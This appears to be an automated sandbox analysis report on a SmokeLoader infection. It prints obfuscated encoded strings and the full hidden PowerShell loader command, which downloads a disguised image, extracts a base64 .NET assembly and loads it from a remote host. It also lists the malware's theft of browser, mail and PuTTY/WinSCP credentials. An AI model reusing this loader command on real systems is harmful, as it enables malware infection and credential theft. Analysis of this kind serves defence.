TreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDgDgTreNQDgTrevDgTreDcDgTreMgDgTrewDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDYDgTreMwDgTrewDgTreDcDgTreNgDgTrezDgTreDQDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhD Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634', 'https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.GBR/0808/651.771.64.891//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))} }" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Windows\System32\taskeng.exe Process created: C:\Users\user\AppData\Roaming\rugtucw C:\Users\user\AppData\Roaming\rugtucw Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$codigo = 'zgb1dgtreg4dgtreywb0dgtregkdgtrebwbudgtrecdgtredgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrergbydgtreg8dgtrebqbmdgtregkdgtrebgbrdgtrehmdgtreidgtreb7dgtrecdgtredgtrecdgtrebhdgtrehidgtreyqbtdgtrecdgtredgtrekdgtrebbdgtrehmdgtreddgtrebydgtregkdgtrebgbndgtrefsdgtrexqbddgtrecqdgtrebdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrecdgtredgtrepqdgtregdgtree4dgtrezqb3dgtrec0dgtretwbidgtregodgtrezqbjdgtrehqdgtreidgtrebtdgtrehkdgtrecwb0dgtregudgtrebqdgtreudgtree4dgtrezqb0dgtrec4dgtrevwbldgtregidgtreqwbsdgtregkdgtrezqbudgtrehqdgtreowdgtregdgtrecqdgtrezdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtregudgtrezdgtrebedgtregedgtreddgtrebhdgtrecdgtredgtrepqdgtregdgtreedgtredgtrekdgtredgtrepdgtredsdgtreidgtredgtrekdgtrehmdgtreadgtreb1dgtregydgtrezgbsdgtregudgtrezdgtrebmdgtregkdgtrebgbrdgtrehmdgtreidgtredgtre9dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtreidgtreb8dgtrecdgtredgtrerwbldgtrehqdgtrelqbsdgtregedgtrebgbkdgtreg8dgtrebqdgtregdgtrec0dgtreqwbvdgtrehudgtrebgb0dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtrelgbmdgtregudgtrebgbndgtrehqdgtreadgtredgtre7dgtrecdgtredgtrezgbvdgtrehidgtrezqbhdgtregmdgtreadgtredgtregdgtrecgdgtrejdgtrebsdgtregkdgtrebgbrdgtrecdgtredgtreaqbudgtrecdgtredgtrejdgtrebzdgtreggdgtredqbmdgtregydgtrebdgtrebldgtregqdgtretdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtreb7dgtrecdgtredgtreddgtrebydgtrehkdgtreidgtreb7dgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtredgtrerdgtred0dgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrec4dgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrekdgtredgtrekdgtregwdgtreaqbudgtregsdgtrekqdgtregdgtreh0dgtreidgtrebjdgtregedgtreddgtrebjdgtreggdgtreidgtreb7dgtrecdgtredgtreywbvdgtreg4dgtreddgtrebpdgtreg4dgtredqbldgtrecdgtredgtrefqdgtregdgtreh0dgtreowdgtregdgtrehidgtrezqb0dgtrehudgtrecgbudgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtreb9dgtredsdgtreidgtredgtrekdgtregwdgtreaqbudgtregsdgtrecwdgtregdgtred0dgtreidgtrebdgtredgtrecgdgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdgtrebqbhdgtregcdgtrezqbzdgtrec8dgtremdgtredgtrewdgtredqdgtrelwdgtre3dgtredgdgtrenqdgtrevdgtredcdgtremgdgtrewdgtrec8dgtrebwbydgtregkdgtrezwbpdgtreg4dgtreyqbsdgtrec8dgtrebgbldgtrehcdgtrexwbpdgtreg0dgtreyqbndgtregudgtrelgbqdgtrehdgtredgtrezwdgtre/dgtrededgtrenwdgtrexdgtredydgtremwdgtrewdgtredcdgtrengdgtrezdgtredqdgtrejwdgtresdgtrecdgtredgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdgtrebqbhd
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $downloadeddata = @(); $shuffledlinks = $links | get-random -count $links.length; foreach ($link in $shuffledlinks) { try { $downloadeddata += $webclient.downloaddata($link) } catch { continue } }; return $downloadeddata }; $links = @('https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634', 'https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('projetoautomacao.vb.home'); $method = $type.getmethod('vai').invoke($null, [object[]] ('txt.gbr/0808/651.771.64.891//:ptth' , 'desativado' , 'desativado' , 'desativado','regasm',''))} }"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$codigo = 'zgb1dgtreg4dgtreywb0dgtregkdgtrebwbudgtrecdgtredgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrergbydgtreg8dgtrebqbmdgtregkdgtrebgbrdgtrehmdgtreidgtreb7dgtrecdgtredgtrecdgtrebhdgtrehidgtreyqbtdgtrecdgtredgtrekdgtrebbdgtrehmdgtreddgtrebydgtregkdgtrebgbndgtrefsdgtrexqbddgtrecqdgtrebdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrecdgtredgtrepqdgtregdgtree4dgtrezqb3dgtrec0dgtretwbidgtregodgtrezqbjdgtrehqdgtreidgtrebtdgtrehkdgtrecwb0dgtregudgtrebqdgtreudgtree4dgtrezqb0dgtrec4dgtrevwbldgtregidgtreqwbsdgtregkdgtrezqbudgtrehqdgtreowdgtregdgtrecqdgtrezdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtregudgtrezdgtrebedgtregedgtreddgtrebhdgtrecdgtredgtrepqdgtregdgtreedgtredgtrekdgtredgtrepdgtredsdgtreidgtredgtrekdgtrehmdgtreadgtreb1dgtregydgtrezgbsdgtregudgtrezdgtrebmdgtregkdgtrebgbrdgtrehmdgtreidgtredgtre9dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtreidgtreb8dgtrecdgtredgtrerwbldgtrehqdgtrelqbsdgtregedgtrebgbkdgtreg8dgtrebqdgtregdgtrec0dgtreqwbvdgtrehudgtrebgb0dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtrelgbmdgtregudgtrebgbndgtrehqdgtreadgtredgtre7dgtrecdgtredgtrezgbvdgtrehidgtrezqbhdgtregmdgtreadgtredgtregdgtrecgdgtrejdgtrebsdgtregkdgtrebgbrdgtrecdgtredgtreaqbudgtrecdgtredgtrejdgtrebzdgtreggdgtredqbmdgtregydgtrebdgtrebldgtregqdgtretdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtreb7dgtrecdgtredgtreddgtrebydgtrehkdgtreidgtreb7dgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtredgtrerdgtred0dgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrec4dgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrekdgtredgtrekdgtregwdgtreaqbudgtregsdgtrekqdgtregdgtreh0dgtreidgtrebjdgtregedgtreddgtrebjdgtreggdgtreidgtreb7dgtrecdgtredgtreywbvdgtreg4dgtreddgtrebpdgtreg4dgtredqbldgtrecdgtredgtrefqdgtregdgtreh0dgtreowdgtregdgtrehidgtrezqb0dgtrehudgtrecgbudgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtreb9dgtredsdgtreidgtredgtrekdgtregwdgtreaqbudgtregsdgtrecwdgtregdgtred0dgtreidgtrebdgtredgtrecgdgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdgtrebqbhdgtregcdgtrezqbzdgtrec8dgtremdgtredgtrewdgtredqdgtrelwdgtre3dgtredgdgtrenqdgtrevdgtredcdgtremgdgtrewdgtrec8dgtrebwbydgtregkdgtrezwbpdgtreg4dgtreyqbsdgtrec8dgtrebgbldgtrehcdgtrexwbpdgtreg0dgtreyqbndgtregudgtrelgbqdgtrehdgtredgtrezwdgtre/dgtrededgtrenwdgtrexdgtredydgtremwdgtrewdgtredcdgtrengdgtrezdgtredqdgtrejwdgtresdgtrecdgtredgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdgtrebqbhd Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $downloadeddata = @(); $shuffledlinks = $links | get-random -count $links.length; foreach ($link in $shuffledlinks) { try { $downloadeddata += $webclient.downloaddata($link) } catch { continue } }; return $downloadeddata }; $links = @('https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634', 'https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('projetoautomacao.vb.home'); $method = $type.getmethod('vai').invoke($null, [object[]] ('txt.gbr/0808/651.771.64.891//:ptth' , 'desativado' , 'desativado' , 'desativado','regasm',''))} }" Jump to behavior
Source: explorer.exe, 0000000E.00000002.605324960.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.464250384.00000000001D6000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Progman-
Source: explorer.exe, 0000000E.00000000.464565852.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000002.605761304.0000000000720000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 0000000E.00000000.464565852.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000002.605761304.0000000000720000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000E.00000002.605761304.0000000000720000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Managers+F
Source: explorer.exe, 0000000E.00000000.464565852.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000002.605761304.0000000000720000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: !Progman
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_000D55EB cpuid 18_2_000D55EB
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Queries volume information: C:\Users\user\AppData\Roaming\rugtucw VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00082112 GetSystemTimeAsFileTime,_alldiv,wsprintfA, 18_2_00082112
Source: C:\Windows\explorer.exe Code function: 14_2_03F13490 GetUserNameW, 14_2_03F13490
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00082198 RtlZeroMemory,GetVersionExW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlCompareMemory,RtlCompareMemory,StrStrIW,FreeLibrary, 18_2_00082198
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected SmokeLoader
Source: Yara match File source: 00000018.00000002.605262132.0000000000081000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000002.605299369.00000000000E1000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3192, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3324, type: MEMORYSTR
Source: Yara match File source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.467103946.0000000000131000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.467072313.0000000000110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.606652331.0000000003F11000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\SysWOW64\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\storage\permanent\moz-safe-about+home\.metadata-v2
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\xulstore.json
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\datareporting\state.json
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\storage.sqlite
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\compatibility.ini
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\content-prefs.sqlite
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\storage\permanent\chrome\.metadata-v2
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\search.json.mozlz4
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\jetpack\@all-aboard-v1-6\simple-storage\store.json
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\mimeTypes.rdf
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\storage\permanent\chrome\.metadata
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\permissions.sqlite
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cookies.sqlite
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\datareporting\session-state.json
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\datareporting\archived\2017-10\1508238380992.d07fbb40-1c13-49f0-9742-db90c57c7811.main.jsonlz4
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\SiteSecurityServiceState.txt
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\storage\permanent\moz-safe-about+home\.metadata
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\addons.json
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\SecurityPreloadState.txt
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\saved-telemetry-pings\d07fbb40-1c13-49f0-9742-db90c57c7811
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\places.sqlite
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\prefs.js
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\times.json
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.sqlite
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\containers.json
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\AlternateServices.txt
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\pluginreg.dat
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\webappsstore.sqlite
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\parent.lock
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\blocklist.xml
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Searches for user specific document files
Source: C:\Windows\SysWOW64\explorer.exe Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Windows\SysWOW64\explorer.exe Directory queried: C:\Users\user\Documents\BNAGMGSPLO

Remote Access Functionality
barindex
Yara detected SmokeLoader
Source: Yara match File source: 00000018.00000002.605262132.0000000000081000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000002.605299369.00000000000E1000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3192, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3324, type: MEMORYSTR
Source: Yara match File source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.467103946.0000000000131000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.467072313.0000000000110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.606652331.0000000003F11000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
